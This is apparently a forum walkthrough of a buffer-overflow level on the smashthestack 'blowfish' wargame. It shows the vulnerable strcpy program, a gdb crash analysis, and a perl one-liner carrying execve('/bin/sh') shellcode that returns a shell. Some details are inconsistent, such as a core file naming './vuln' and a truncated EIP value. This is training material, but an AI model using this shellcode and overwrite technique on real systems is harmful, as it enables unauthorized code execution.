It looks like you're new here. If you want to get involved, click one of these buttons!
level4@blowfish.smashthestack.org port 2222
ssh level4@blowfish.smashthestack.org -p 2222
1. Thou shalt NOT root or otherwise harm the box.
2. Thou shalt NOT access any other network from this box.
3. Thou shalt NOT use any other directory besides /tmp or /code for code.
4. Thou shalt give the root pass to l3thal if you manage to change it.
Passwords are in /pass.
There is a README in each users home directory.
/tmp && /var/tmp will be flushed daily by cron.
Use /code plz for umm, code ;D
IF YOU LEAVE FILES IN /levels/tmp U SUCK ..plz remove them kthnx! ;D
The password for the last level will get you into
Tux, the more advanced wargame. Join #blowfish on
irc.smashthestack.org with any questions.
Admins - l3thal && cr
Forum: http://smashthestack.org/viewforum.php?id=10
Last login: Thu Jan 28 16:08:31 2010 from host-studentw-142-173.dhcp.stevens-tech.edu
There is a buffer overflow in /levels/level4
exploit it and move on to the next level!
Here's a tutorial i wrote just for this level:
- http://smashthestack.org/l3thal/bof.txt
Have fun!!
/levels
cd /levels/tmp
mkdir chronic
cd chronic
cp /levels/level4.c* .
cp /levels/level4* .
cat level4.c
#include <stdio.h>
int main(int argc, char * argv[]) {
char buf[256];
if(argc == 1) {
printf(\"Usage: %s input\n\", argv[0]);
exit(0);
}
strcpy(buf,argv[1]);
printf(\"%s\", buf);
}
./level4 `perl -e 'print \"A\"x300'`
Segmentation fault (core dumped)
gdb -c core.1571
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type \"show copying\"
and \"show warranty\" for details.
This GDB was configured as \"i486-linux-gnu\".
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
[New process 17916]
#0 0x41414141 in ?? ()
i r
eip 0x41414141 0x4141414
./level4 `perl -e 'print \"A\"x300 . \"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\" . \"\xc4\xd9\xff\xbf\"'`
sh-3.2$